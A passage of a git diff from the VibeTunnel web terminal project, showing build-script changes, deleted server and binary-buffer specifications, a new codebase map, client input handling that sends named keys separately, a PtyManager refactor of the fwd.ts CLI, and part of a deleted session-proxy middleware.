"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/listr2": {
"version": "8.3.3",
"resolved": "https://registry.npmjs.org/listr2/-/listr2-8.3.3.tgz",

View file

@ -14,7 +14,7 @@
"ensure:dirs": "node scripts/ensure-dirs.js",
"bundle": "npm run clean && npm run bundle:assets && npm run bundle:css && npm run bundle:client && npm run bundle:test",
"bundle:assets": "node scripts/copy-assets.js",
"bundle:css": "npm run ensure:dirs && npx tailwindcss -i ./src/input.css -o ./public/bundle/output.css --minify",
"bundle:css": "npm run ensure:dirs && npx tailwindcss -i ./src/client/styles.css -o ./public/bundle/styles.css --minify",
"bundle:client": "npm run ensure:dirs && esbuild src/client/app-entry.ts --bundle --outfile=public/bundle/client-bundle.js --format=esm --sourcemap",
"bundle:test": "npm run ensure:dirs && esbuild src/client/test-terminals-entry.ts --bundle --outfile=public/bundle/terminal.js --format=esm --sourcemap",
"start": "node dist/server.js",
@ -27,16 +27,15 @@
"test:ui": "vitest --ui",
"test:run": "vitest run",
"test:coverage": "vitest run --coverage",
"test:unit": "vitest run src/test/unit",
"test:integration": "vitest run --config vitest.integration.config.ts",
"test:critical": "vitest run src/test/critical.test.ts src/test/smoke.test.ts",
"test:all": "npm run test:unit && npm run test:integration && npm run test:critical"
"test:e2e": "vitest run --config vitest.config.e2e.ts",
"test:all": "npm run test:run"
},
"dependencies": {
"@homebridge/node-pty-prebuilt-multiarch": "^0.12.0",
"@xterm/headless": "^5.5.0",
"chalk": "^5.4.1",
"express": "^4.19.2",
"lit": "^3.3.0",
"@homebridge/node-pty-prebuilt-multiarch": "^0.12.0",
"signal-exit": "^4.1.0",
"ws": "^8.18.2"
},

View file

@ -1,566 +0,0 @@
# VibeTunnel Server Specification
This document provides a comprehensive specification of the VibeTunnel server architecture, including PTY management, terminal state management, distributed HQ mode, and all protocols. This specification is designed to enable implementation in any programming language.
## Table of Contents
1. [Overview](#overview)
2. [Server Modes](#server-modes)
3. [Authentication](#authentication)
4. [Session Management](#session-management)
5. [Terminal Management](#terminal-management)
6. [Binary Buffer Protocol](#binary-buffer-protocol)
7. [Stream Format](#stream-format)
8. [API Endpoints](#api-endpoints)
9. [WebSocket Protocols](#websocket-protocols)
10. [HQ Mode Architecture](#hq-mode-architecture)
11. [File System Structure](#file-system-structure)
## Overview
VibeTunnel is a terminal session management server that provides:
- Remote terminal session creation and management
- Real-time terminal output streaming
- Session persistence and replay
- Distributed architecture with HQ mode for managing multiple servers
- Binary-optimized terminal buffer synchronization
## Server Modes
The server can operate in three modes:
### 1. Normal Mode (Default)
- Standalone server managing local terminal sessions
- Optional Basic Authentication
- No connection to other servers
### 2. HQ Mode (`--hq` flag)
- Acts as a headquarters server managing multiple remote servers
- Aggregates sessions from all registered remotes
- Proxies API requests to appropriate remote servers
- Maintains health checks on all remotes
### 3. Remote Mode (`--hq-url` flag)
- Registers with an HQ server
- Accepts both Basic Auth and Bearer token authentication
- Operates independently if HQ is unavailable
- Provides all normal mode functionality
## Authentication
### Configuration
#### Environment Variables
- `VIBETUNNEL_USERNAME` - Username for Basic Authentication
- `VIBETUNNEL_PASSWORD` - Password for Basic Authentication
- Both must be provided together or neither
#### Command Line Arguments
- `--username` - Local server username (overrides env var)
- `--password` - Local server password (overrides env var)
- `--hq-url` - URL of HQ server to register with (enables remote mode)
- `--hq-username` - Username for authenticating with HQ
- `--hq-password` - Password for authenticating with HQ
- `--name` - Unique name for this remote server (required with --hq-url)
### Authentication Flow
#### Basic Authentication
- Standard HTTP Basic Auth: `Authorization: Basic base64(username:password)`
- Used by clients to authenticate with any server
- Used by remote servers to authenticate with HQ during registration
#### Bearer Token Authentication
- Format: `Authorization: Bearer <token>`
- Remote servers generate a unique token (UUID v4) during registration
- HQ uses this token for all API calls to the remote
- Remote servers accept both Basic Auth and Bearer token
### Authentication Middleware
1. Skip auth if not configured (no username/password and not in remote mode)
2. Skip auth for WebSocket upgrade requests (handled separately)
3. Check Bearer token first if server is in remote mode
4. Fall back to Basic Auth check
5. Return 401 Unauthorized with `WWW-Authenticate: Basic realm="VibeTunnel"` if failed
## Session Management
### Session States
- `starting` - Session is being created
- `running` - Session is active
- `exited` - Session has terminated
### Session Data Structure
```typescript
interface Session {
id: string; // UUID v4
name: string; // User-friendly name
command: string; // Command line as string
workingDir: string; // Working directory path
status: string; // Session state
exitCode?: number; // Exit code if exited
startedAt: string; // ISO 8601 timestamp
lastModified: string; // ISO 8601 timestamp
pid?: number; // Process ID
waiting?: boolean; // If waiting for input
remoteName?: string; // Name of remote server (HQ mode)
}
```
### PTY Service
The PTY service manages the actual terminal processes using `node-pty`:
```typescript
interface PtyConfig {
implementation: 'node-pty';
controlPath: string; // Base directory for session data
}
```
Key responsibilities:
- Create PTY sessions with specified dimensions
- Manage session lifecycle (create, kill, cleanup)
- Handle input/output to/from PTY
- Resize terminal dimensions
- Track session metadata
## Terminal Management
The Terminal Manager maintains server-side terminal state for efficient buffer synchronization:
### Terminal State
```typescript
interface TerminalState {
cols: number; // Terminal width
rows: number; // Terminal height
buffer: string[][]; // 2D array of [char, style] pairs
cursor: {
x: number;
y: number;
visible: boolean;
};
scrollback: string[][]; // Historical lines
title: string; // Terminal title
applicationKeypad: boolean;
applicationCursor: boolean;
bracketedPasteMode: boolean;
origin: boolean;
reverseWraparound: boolean;
wraparound: boolean;
insertMode: boolean;
}
```
### Buffer Management
1. Parse ANSI escape sequences from PTY output
2. Update terminal state based on control sequences
3. Maintain accurate buffer representation
4. Support terminal operations:
- Cursor movement
- Text insertion/deletion
- Screen clearing
- Scrolling
- Style changes
## Binary Buffer Protocol
The binary buffer protocol provides efficient terminal state synchronization:
### Snapshot Encoding
```
[4 bytes: magic "SNAP"]
[4 bytes: version (1)]
[4 bytes: cols]
[4 bytes: rows]
[4 bytes: cursor X]
[4 bytes: cursor Y]
[1 byte: cursor visible]
[4 bytes: scrollback length]
[scrollback data...]
[4 bytes: buffer length]
[buffer data...]
[4 bytes: title length]
[title UTF-8 bytes]
[1 byte: flags]
- bit 0: applicationKeypad
- bit 1: applicationCursor
- bit 2: bracketedPasteMode
- bit 3: origin
- bit 4: reverseWraparound
- bit 5: wraparound
- bit 6: insertMode
```
### Line Encoding
Each line is encoded as:
```
[4 bytes: line length]
[4 bytes: number of cells]
[cell data...]
```
### Cell Encoding
Each cell is encoded as:
```
[4 bytes: character UTF-8 length]
[character UTF-8 bytes]
[4 bytes: style]
```
Style is a 32-bit integer:
- Bits 0-7: Foreground color (256 colors)
- Bits 8-15: Background color (256 colors)
- Bit 16: Bold
- Bit 17: Italic
- Bit 18: Underline
- Bit 19: Blink
- Bit 20: Inverse
- Bit 21: Hidden
- Bit 22: Strikethrough
## Stream Format
Session output is stored in asciicast v2 format:
### Header
```json
{
"version": 2,
"width": 80,
"height": 24,
"timestamp": 1234567890,
"env": {"TERM": "xterm-256color"}
}
```
### Events
Each subsequent line is an event:
```json
[timestamp, type, data]
```
Types:
- `"o"` - Output data (UTF-8 string)
- `"i"` - Input data (UTF-8 string)
- `"r"` - Resize event (e.g., "80x24")
## API Endpoints
### Health Check
```
GET /api/health
Response: {"status": "ok", "timestamp": "2024-01-01T00:00:00.000Z"}
```
### Session Management
#### List Sessions
```
GET /api/sessions
Response: Session[]
```
In HQ mode, aggregates sessions from all registered remotes.
#### Create Session
```
POST /api/sessions
Body: {
"command": ["bash", "-l"],
"workingDir": "/home/user",
"name": "My Session",
"remoteId": "remote-uuid" // Optional, HQ mode only
}
Response: {"sessionId": "uuid"}
```
#### Get Session Info
```
GET /api/sessions/:sessionId
Response: Session
```
#### Kill Session
```
DELETE /api/sessions/:sessionId
Response: {"success": true, "message": "Session killed"}
```
#### Cleanup Session
```
DELETE /api/sessions/:sessionId/cleanup
Response: {"success": true, "message": "Session cleaned up"}
```
#### Cleanup All Exited
```
POST /api/cleanup-exited
Response: {
"success": true,
"message": "N exited sessions cleaned up across all servers",
"localCleaned": 5,
"remoteResults": [
{"remoteName": "server1", "cleaned": 3},
{"remoteName": "server2", "cleaned": 2, "error": "timeout"}
]
}
```
### Terminal I/O
#### Stream Session Output (SSE)
```
GET /api/sessions/:sessionId/stream
Response: Server-Sent Events stream
```
Event format:
```
event: output
data: {"data": "terminal output...", "timestamp": 1234567890}
event: exit
data: {"exitCode": 0}
```
#### Get Session Snapshot
```
GET /api/sessions/:sessionId/snapshot
Response: Optimized asciicast v2 format (text/plain)
```
Returns events after the last clear screen command.
#### Get Buffer Stats
```
GET /api/sessions/:sessionId/buffer/stats
Response: {
"lines": 100,
"cells": 8000,
"scrollbackLines": 500,
"lastModified": "2024-01-01T00:00:00.000Z"
}
```
#### Get Buffer
```
GET /api/sessions/:sessionId/buffer?format=binary
Response: Binary encoded buffer (application/octet-stream)
GET /api/sessions/:sessionId/buffer?format=json
Response: JSON representation of terminal state
```
#### Send Input
```
POST /api/sessions/:sessionId/input
Body: {"text": "ls -la\n"}
Response: {"success": true}
```
Special keys:
- `"arrow_up"`, `"arrow_down"`, `"arrow_left"`, `"arrow_right"`
- `"escape"`, `"enter"`, `"ctrl_enter"`, `"shift_enter"`
#### Resize Terminal
```
POST /api/sessions/:sessionId/resize
Body: {"cols": 120, "rows": 40}
Response: {"success": true, "cols": 120, "rows": 40}
```
### File System
#### Browse Directory
```
GET /api/fs/browse?path=/home/user
Response: {
"absolutePath": "/home/user",
"files": [
{
"name": "document.txt",
"created": "2024-01-01T00:00:00.000Z",
"lastModified": "2024-01-01T00:00:00.000Z",
"size": 1024,
"isDir": false
}
]
}
```
#### Create Directory
```
POST /api/mkdir
Body: {"path": "/home/user", "name": "newfolder"}
Response: {
"success": true,
"path": "/home/user/newfolder",
"message": "Directory 'newfolder' created successfully"
}
```
### HQ Mode Endpoints
#### Register Remote
```
POST /api/remotes/register
Headers: Authorization: Basic <hq-credentials>
Body: {
"id": "remote-uuid",
"name": "unique-remote-name",
"url": "http://remote-server:4020",
"token": "bearer-token-uuid"
}
Response: {
"success": true,
"remote": {"id": "remote-uuid", "name": "unique-remote-name"}
}
```
#### Unregister Remote
```
DELETE /api/remotes/:remoteId
Headers: Authorization: Basic <hq-credentials>
Response: {"success": true}
```
#### List Remotes
```
GET /api/remotes
Response: [
{
"id": "remote-uuid",
"name": "unique-remote-name",
"url": "http://remote-server:4020",
"sessionCount": 5,
"lastHeartbeat": "2024-01-01T00:00:00.000Z"
}
]
```
## WebSocket Protocols
### Buffer Synchronization WebSocket
Endpoint: `/buffers`
#### Client → Server Messages
Subscribe to session:
```json
{"type": "subscribe", "sessionId": "session-uuid"}
```
Unsubscribe from session:
```json
{"type": "unsubscribe", "sessionId": "session-uuid"}
```
Heartbeat response:
```json
{"type": "pong"}
```
#### Server → Client Messages
Heartbeat:
```json
{"type": "ping"}
```
Error:
```json
{"type": "error", "message": "Error description"}
```
Binary buffer update:
```
[1 byte: 0xBF magic byte]
[4 bytes: session ID length (little-endian)]
[N bytes: session ID UTF-8]
[M bytes: encoded buffer snapshot]
```
## HQ Mode Architecture
### Remote Registration
1. Remote server starts with `--hq-url`, `--hq-username`, `--hq-password`, `--name`
2. Remote generates unique ID (UUID v4) and token (UUID v4)
3. Remote sends POST to `/api/remotes/register` with Basic Auth
4. HQ validates unique name and stores remote info
5. Remote registration is complete
### Health Checking
1. HQ checks each remote every 15 seconds
2. First tries GET `/api/health` with Bearer token
3. Falls back to GET `/api/sessions` if health endpoint not found
4. Updates session tracking from sessions response
5. Removes remote if health check fails
### Request Proxying
1. Session proxy middleware intercepts requests with session IDs
2. Looks up which remote owns the session
3. Forwards request to remote with Bearer token auth
4. Returns remote's response to client
### Session Aggregation
1. GET `/api/sessions` in HQ mode fetches from all remotes
2. Adds `remoteName` field to each session
3. Tracks session ownership for future proxying
4. Returns combined list sorted by last modified
## File System Structure
```
~/.vibetunnel/control/
├── {session-id}/
│ ├── info.json # Session metadata
│ ├── stream-out # Asciicast v2 format output
│ └── stream-in # Input log (optional)
```
### info.json Structure
```json
{
"version": 1,
"session_id": "uuid",
"name": "Session Name",
"cmdline": ["bash", "-l"],
"cwd": "/home/user",
"env": {},
"term": "xterm-256color",
"width": 80,
"height": 24,
"started_at": "2024-01-01T00:00:00.000Z",
"pid": 12345,
"status": "running",
"exit_code": null
}
```
## Implementation Notes
### Error Handling
- All endpoints should return appropriate HTTP status codes
- Error responses should include `{"error": "Description"}`
- WebSocket errors should send error message before closing
### Security Considerations
- HTTPS required for HQ URL
- Tokens should be cryptographically random (UUID v4)
- File system access restricted to home directory and temp
- Input validation on all user-provided paths
### Performance Considerations
- Stream files are append-only for efficiency
- Binary buffer protocol minimizes data transfer
- Health checks have 5-second timeout
- Proxy requests have 30-second timeout
- Buffer updates are debounced to avoid flooding
### Compatibility
- UTF-8 encoding throughout
- Little-endian byte order for binary protocol
- ISO 8601 timestamps in UTC
- Line endings normalized to LF (\n)

View file

@ -1,175 +0,0 @@
# VibeTunnel Terminal Buffer Snapshot Format
This document describes the binary format used for efficient terminal buffer snapshots.
## Overview
The snapshot format is a compact binary representation of terminal buffer state, designed to minimize data transfer while preserving all terminal attributes. It consists of a header followed by a stream of encoded cells.
## Format Structure
```
┌──────────────┬─────────────────────────────────┐
│ Header │ Cell Stream │
│ (32 bytes) │ (variable, 4+ bytes/cell) │
└──────────────┴─────────────────────────────────┘
```
## Header Format (32 bytes) - Version 2
```
Offset Size Field Description
------ ---- ---------- -----------
0x00 2 Magic 0x5654 ("VT" in ASCII)
0x02 1 Version Format version (0x02 for 32-bit support)
0x03 1 Flags Reserved for future use
0x04 4 Cols Terminal width (32-bit unsigned, little-endian)
0x08 4 Rows Number of rows in this snapshot (32-bit unsigned, little-endian)
0x0C 4 ViewportY Starting line number in buffer (32-bit signed, little-endian)
0x10 4 CursorX Cursor column position (32-bit signed, little-endian)
0x14 4 CursorY Cursor row position relative to viewport (32-bit signed, little-endian)
0x18 4 Reserved Reserved for future use
```
Note: CursorY is relative to the viewport and can be negative if the cursor is above the visible area.
## Cell Format
Each cell uses a variable-length encoding:
### Basic Cell (4 bytes) - ASCII with palette colors
```
Offset Size Field Description
------ ---- ---------- -----------
0x00 1 Character UTF-8 character (ASCII range)
0x01 1 Attributes Bit flags (see below)
0x02 1 FG Color Foreground palette index (0-255)
0x03 1 BG Color Background palette index (0-255)
```
### Extended Cell (variable) - Unicode or RGB colors
```
Offset Size Field Description
------ ---- ---------- -----------
0x00 1 Header [2 bits: char_len-1][1 bit: rgb_fg][1 bit: rgb_bg][4 bits: reserved]
0x01 1 Attributes Bit flags (see below)
0x02 1-4 Character UTF-8 character (length from header)
0x?? 1/3 FG Color 1 byte palette or 3 bytes RGB
0x?? 1/3 BG Color 1 byte palette or 3 bytes RGB
```
### Attribute Flags (1 byte)
```
Bit Flag
--- ----
0 Bold
1 Italic
2 Underline
3 Dim
4 Inverse
5 Invisible
6 Strikethrough
7 Extended (if set, use extended cell format)
```
## Special Encodings
### Run-Length Encoding
For repeated cells (common with spaces), use RLE:
```
0xFF <count:1> <cell:4+>
```
This encodes up to 255 repeated cells.
### Empty Line Marker
For completely empty lines (all spaces with default attributes):
```
0xFE <count:1>
```
This encodes up to 255 empty lines.
## Color Encoding
### Palette Colors (0-255)
Standard xterm 256-color palette indices.
### RGB Colors (24-bit)
When RGB flag is set in extended cell header:
```
R (1 byte) G (1 byte) B (1 byte)
```
## API Endpoint
### Request
```
GET /api/sessions/{sessionId}/buffer?viewportY={Y}&lines={N}
```
Parameters:
- `sessionId`: Session identifier
- `viewportY`: Starting line in the terminal buffer (0-based)
- `lines`: Number of lines to return
### Response
```
Content-Type: application/octet-stream
Content-Length: {size}
[Binary data as described above]
```
## Example
For a 80x24 terminal showing "Hello" on black background:
```
Header (32 bytes):
56 54 02 00 50 00 00 00 18 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ Reserved
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ CursorY (0)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ CursorX (5)
│ │ │ │ │ │ │ │ │ │ │ │ └─┴─┴─┴─ ViewportY (0)
│ │ │ │ │ │ │ │ └─┴─┴─┴─ Rows (24)
│ │ │ │ └─┴─┴─┴─ Cols (80)
│ │ │ └─ Flags (0)
│ │ └─ Version (2)
└─┴─ Magic "VT"
Cells:
48 00 07 00 65 00 07 00 6C 00 07 00 6C 00 07 00 6F 00 07 00
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ BG: black (0)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ FG: white (7)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ Attributes: none (0)
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ Character: 'o'
[Continue for remaining cells...]
FF 4B 20 00 07 00 (RLE: 75 spaces)
FE 17 (23 empty lines)
```
## Implementation Notes
1. The server maintains xterm.js Terminal instances for each active session
2. Binary encoding happens on-the-fly when buffer endpoint is called
3. Client can request specific viewport regions for efficient updates
4. Format is designed to be easily parseable with minimal overhead
5. Extended format allows for future enhancements without breaking compatibility
## Performance Characteristics
- Basic ASCII terminal: ~4 bytes per cell
- With colors/attributes: ~4-7 bytes per cell
- With RLE compression: ~10-20% of original size for typical terminals
- Network transfer: ~3-8KB for full 80x24 screen (before gzip)

224
web/spec.md Normal file
View file

@ -0,0 +1,224 @@
# VibeTunnel Codebase Map
A comprehensive navigation guide for the VibeTunnel web terminal system.
## Project Overview
VibeTunnel is a web-based terminal multiplexer with distributed architecture support. It provides:
- PTY-based terminal sessions via node-pty
- Real-time terminal streaming (SSE/WebSocket)
- Binary-optimized buffer synchronization
- Distributed HQ/remote server architecture
- Web UI with full terminal emulation
## Directory Structure
```
web/
├── src/
│ ├── server/ # Node.js Express server
│ ├── client/ # Lit-based web UI
│ ├── fwd.ts # CLI forwarding tool
│ └── server.ts # Server entry point
├── public/ # Static assets
├── scripts/ # Build scripts
└── docs/ # Documentation
```
## Server Architecture (`src/server/`)
### Core Components
#### Entry Points
- `server.ts` (1-4): Simple loader for modular server
- `index.ts` (1-49): Server initialization, cleanup intervals, graceful shutdown
- `app.ts` (198-404): Express app factory, CLI parsing, mode configuration
#### Server Modes
1. **Normal Mode**: Standalone terminal server
2. **HQ Mode** (`--hq`): Central server managing remotes
3. **Remote Mode** (`--hq-url`): Registers with HQ server
### Authentication (`middleware/auth.ts`)
- Basic Auth: Username/password (46-55)
- Bearer Token: HQ↔Remote communication (28-44)
- Health endpoint bypass (14-16)
### Session Management
#### PTY Manager (`pty/pty-manager.ts`)
- `createSession()` (72-167): Spawns PTY processes
- `sendInput()` (265-315): Handles keyboard input
- `killSession()` (453-537): SIGTERM→SIGKILL escalation
- `resizeSession()` (394-447): Terminal dimension changes
- Control pipe support for external sessions (320-349)
#### Session Manager (`pty/session-manager.ts`)
- Session persistence in `~/.vibetunnel/control/`
- `listSessions()` (155-224): Filesystem-based discovery
- `updateZombieSessions()` (231-257): Dead process cleanup
#### Terminal Manager (`services/terminal-manager.ts`)
- Headless xterm.js for server-side state (40-69)
- `getBufferSnapshot()` (255-323): Captures terminal buffer
- `encodeSnapshot()` (328-555): Binary protocol encoding
- Debounced buffer notifications (627-642)
### API Routes (`routes/`)
#### Sessions (`sessions.ts`)
- `GET /api/sessions` (40-120): List with HQ aggregation
- `POST /api/sessions` (123-199): Create local/remote
- `DELETE /api/sessions/:id` (270-323): Kill session
- `GET /api/sessions/:id/stream` (517-627): SSE streaming
- `POST /api/sessions/:id/input` (630-695): Send input
- `POST /api/sessions/:id/resize` (698-767): Resize terminal
- `GET /api/sessions/:id/buffer` (455-514): Binary snapshot
#### Remotes (`remotes.ts`) - HQ Mode Only
- `GET /api/remotes` (15-27): List registered servers
- `POST /api/remotes/register` (30-52): Remote registration
- `DELETE /api/remotes/:id` (55-69): Unregister remote
### Binary Buffer Protocol
#### Format (`terminal-manager.ts:361-555`)
```
Header (32 bytes):
- Magic: 0x5654 "VT" (2 bytes)
- Version: 0x01 (1 byte)
- Flags: reserved (1 byte)
- Dimensions: cols, rows (8 bytes)
- Cursor: X, Y, viewport (12 bytes)
- Reserved (4 bytes)
Rows: 0xFE=empty, 0xFD=content
Cells: Variable-length with type byte
```
### WebSocket (`services/buffer-aggregator.ts`)
- Client connections (31-68)
- Message handling (69-127)
- Local session buffers (131-195)
- Remote session proxy (200-232)
- Binary message format (136-164)
### HQ Mode Components
#### Remote Registry (`services/remote-registry.ts`)
- Health checks every 15s (118-146)
- Session ownership tracking (82-96)
- Bearer token authentication
#### HQ Client (`services/hq-client.ts`)
- Registration with HQ (29-58)
- Unregister on shutdown (60-72)
## Client Architecture (`src/client/`)
### Core Components
#### App Entry (`app.ts`)
- Lit-based SPA (15-331)
- Session list polling (74-90)
- URL-based routing `?session=<id>`
- Global keyboard handlers
#### Terminal Component (`terminal.ts`)
- Custom DOM rendering (634-701)
- Virtual scrolling (537-555)
- Touch/momentum support
- URL highlighting integration
- Copy/paste handling
#### Session View (`session-view.ts`)
- Full-screen terminal (12-1331)
- SSE streaming (275-333)
- Mobile input overlays
- Resize synchronization
### Services
#### Buffer Subscription (`services/buffer-subscription-service.ts`)
- WebSocket client (30-87)
- Binary protocol decoder (163-208)
- Auto-reconnection with backoff
### Utils
#### Cast Converter (`utils/cast-converter.ts`)
- Asciinema v2 parser (31-82)
- SSE stream handler (294-427)
- Batch loading (221-283)
#### Terminal Renderer (`utils/terminal-renderer.ts`)
- Binary buffer decoder (279-424)
- HTML generation
- Style mapping
## Forward Tool (`src/fwd.ts`)
### Purpose
CLI tool that spawns PTY sessions integrated with VibeTunnel infrastructure.
### Key Features
- Interactive terminal forwarding (295-312)
- Monitor-only mode (`--monitor-only`)
- Control pipe handling (140-287)
- Session persistence (439-446)
### Usage
```bash
npx tsx src/fwd.ts <command> [args...]
npx tsx src/fwd.ts --monitor-only <command>
```
### Integration Points
- Uses same PtyManager as server (63)
- Creates sessions in control directory
- Supports resize/kill via control pipe
## Key Files Quick Reference
### Server Core
- `src/server/app.ts`: App configuration, CLI parsing
- `src/server/middleware/auth.ts`: Authentication logic
- `src/server/routes/sessions.ts`: Session API endpoints
- `src/server/pty/pty-manager.ts`: PTY process management
- `src/server/services/terminal-manager.ts`: Terminal state & binary protocol
- `src/server/services/buffer-aggregator.ts`: WebSocket buffer distribution
### Client Core
- `src/client/app.ts`: Main SPA component
- `src/client/components/terminal.ts`: Terminal renderer
- `src/client/components/session-view.ts`: Session viewer
- `src/client/services/buffer-subscription-service.ts`: WebSocket client
### Configuration
- Environment: `PORT`, `VIBETUNNEL_USERNAME`, `VIBETUNNEL_PASSWORD`
- CLI: `--port`, `--username`, `--password`, `--hq`, `--hq-url`, `--name`
### Protocols
- REST API: Session CRUD, terminal I/O
- SSE: Real-time output streaming
- WebSocket: Binary buffer updates
- Control pipes: External session control
## Development Notes
### Build System
- `npm run dev`: Auto-rebuilds TypeScript
- ESBuild: Fast bundling
- Vitest: Testing framework
### Testing
- Unit tests: `npm test`
- E2E tests: `npm run test:e2e`
- Integration: `npm run test:integration`
### Key Dependencies
- node-pty: Cross-platform PTY
- @xterm/headless: Terminal emulation
- Lit: Web components
- Express: HTTP server
- TailwindCSS: Styling

View file

@ -22,7 +22,7 @@
<link rel="manifest" href="/manifest.json">
<!-- Styles -->
<link href="bundle/output.css" rel="stylesheet">
<link href="bundle/styles.css" rel="stylesheet">
<!-- Mobile viewport and address bar handling -->
<style>

View file

@ -4,7 +4,7 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0, user-scalable=no">
<title>DOM Terminal Test</title>
<link href="../bundle/output.css" rel="stylesheet">
<link href="../bundle/styles.css" rel="stylesheet">
<!-- Fira Code Font -->
<style>

View file

@ -420,12 +420,26 @@ export class SessionView extends LitElement {
// Send the input to the session
try {
// Determine if we should send as key or text
const body = [
'enter',
'escape',
'arrow_up',
'arrow_down',
'arrow_left',
'arrow_right',
'ctrl_enter',
'shift_enter',
].includes(inputText)
? { key: inputText }
: { text: inputText };
const response = await fetch(`/api/sessions/${this.session.id}/input`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ text: inputText }),
body: JSON.stringify(body),
});
if (!response.ok) {
@ -837,12 +851,26 @@ export class SessionView extends LitElement {
if (!this.session) return;
try {
// Determine if we should send as key or text
const body = [
'enter',
'escape',
'arrow_up',
'arrow_down',
'arrow_left',
'arrow_right',
'ctrl_enter',
'shift_enter',
].includes(text)
? { key: text }
: { text };
const response = await fetch(`/api/sessions/${this.session.id}/input`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ text }),
body: JSON.stringify(body),
});
if (!response.ok) {

View file

@ -13,7 +13,7 @@
import * as path from 'path';
import * as os from 'os';
import * as fs from 'fs';
import { PtyService } from './pty/index.js';
import { PtyManager } from './server/pty/index.js';
function showUsage() {
console.log('VibeTunnel Forward (fwd.ts)');
@ -58,20 +58,16 @@ async function main() {
console.log(`Starting command: ${command.join(' ')}`);
console.log(`Working directory: ${cwd}`);
// Initialize PTY service - fwd.ts should always use node-pty directly
// Initialize PTY manager
const controlPath = path.join(os.homedir(), '.vibetunnel', 'control');
const ptyService = new PtyService({
implementation: 'node-pty', // Always use node-pty, never tty-fwd
controlPath,
fallbackToTtyFwd: false, // Disable fallback - fwd.ts replaces tty-fwd
});
const ptyManager = new PtyManager(controlPath);
try {
// Create the session
const sessionName = `fwd_${command[0]}_${Date.now()}`;
console.log(`Creating session: ${sessionName}`);
const result = await ptyService.createSession(command, {
const result = await ptyManager.createSession(command, {
sessionName,
workingDir: cwd,
term: process.env.TERM || 'xterm-256color',
@ -80,24 +76,30 @@ async function main() {
});
console.log(`Session created with ID: ${result.sessionId}`);
console.log(`Implementation: ${ptyService.getCurrentImplementation()}`);
// Track all intervals and streams for cleanup
const intervals: NodeJS.Timeout[] = [];
const streams: any[] = [];
const streams: (fs.ReadStream | NodeJS.ReadWriteStream)[] = [];
// Get session info
const session = ptyService.getSession(result.sessionId);
const session = ptyManager.getSession(result.sessionId);
if (!session) {
throw new Error('Session not found after creation');
}
// Get direct access to PTY process for faster input and exit detection
let directPtyProcess: any = null;
interface PtyProcess {
write: (data: string) => void;
onExit: (callback: (info: { exitCode: number; signal?: number }) => void) => void;
}
let directPtyProcess: PtyProcess | null = null;
try {
const ptyManager = (ptyService as any).ptyManager;
const internalSession = ptyManager?.sessions?.get(result.sessionId);
directPtyProcess = internalSession?.ptyProcess;
// Access internal sessions map from the ptyManager instance
const ptyManagerWithSessions = ptyManager as unknown as {
sessions?: Map<string, { ptyProcess?: PtyProcess }>;
};
const internalSession = ptyManagerWithSessions.sessions?.get(result.sessionId);
directPtyProcess = internalSession?.ptyProcess || null;
if (directPtyProcess) {
console.log('Got direct PTY process access for faster input and exit detection');
@ -109,7 +111,9 @@ async function main() {
intervals.forEach((interval) => clearInterval(interval));
streams.forEach((stream) => {
try {
stream.destroy?.();
if ('destroy' in stream && typeof stream.destroy === 'function') {
stream.destroy();
}
} catch (_e) {
// Ignore cleanup errors
}
@ -268,7 +272,7 @@ async function main() {
console.log(`Received resize command: ${message.cols}x${message.rows}`);
// Get current session from PTY service and resize if possible
try {
ptyService.resizeSession(result.sessionId, message.cols, message.rows);
ptyManager.resizeSession(result.sessionId, message.cols, message.rows);
} catch (error) {
console.warn('Failed to resize session:', error);
}
@ -280,7 +284,7 @@ async function main() {
console.log(`Received kill command: ${signal}`);
// The session monitoring will detect the exit and handle cleanup
try {
ptyService.killSession(result.sessionId, signal);
ptyManager.killSession(result.sessionId, signal);
} catch (error) {
console.warn('Failed to kill session:', error);
}
@ -327,7 +331,7 @@ async function main() {
const data = chunk.toString('utf8');
try {
// Forward data from web server to PTY
ptyService.sendInput(result.sessionId, { text: data });
ptyManager.sendInput(result.sessionId, { text: data });
} catch (error) {
console.error('Failed to forward stdin data to PTY:', error);
}
@ -437,7 +441,7 @@ async function main() {
console.log(`\n\nReceived ${signal}, checking session status...`);
try {
const currentSession = ptyService.getSession(result.sessionId);
const currentSession = ptyManager.getSession(result.sessionId);
if (currentSession && currentSession.status === 'running') {
console.log('Session is still running. Leaving it active.');
console.log(`Session ID: ${result.sessionId}`);

View file

@ -1,96 +0,0 @@
import { RemoteRegistry } from './remote-registry.js';
import { Request, Response, NextFunction } from 'express';
/**
* Proxy middleware for forwarding session operations to remote servers
*/
export function createSessionProxyMiddleware(
isHQMode: boolean,
remoteRegistry: RemoteRegistry | null
) {
return async (req: Request, res: Response, next: NextFunction) => {
// Only proxy in HQ mode
if (!isHQMode || !remoteRegistry) {
return next();
}
// Extract session ID from params
const sessionId = req.params.sessionId;
if (!sessionId) {
return next();
}
// Check if this session belongs to a remote
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (!remote) {
// It's a local session, continue with normal processing
return next();
}
// Build the target URL - keep the same path
const targetUrl = `${remote.url}${req.originalUrl}`;
try {
// Forward the request
const headers: Record<string, string> = {
'Content-Type': req.get('Content-Type') || 'application/json',
};
// Use the remote's token for authentication
headers['Authorization'] = `Bearer ${remote.token}`;
const response = await fetch(targetUrl, {
method: req.method,
headers,
body: req.method !== 'GET' && req.method !== 'HEAD' ? JSON.stringify(req.body) : undefined,
signal: AbortSignal.timeout(30000), // 30 second timeout
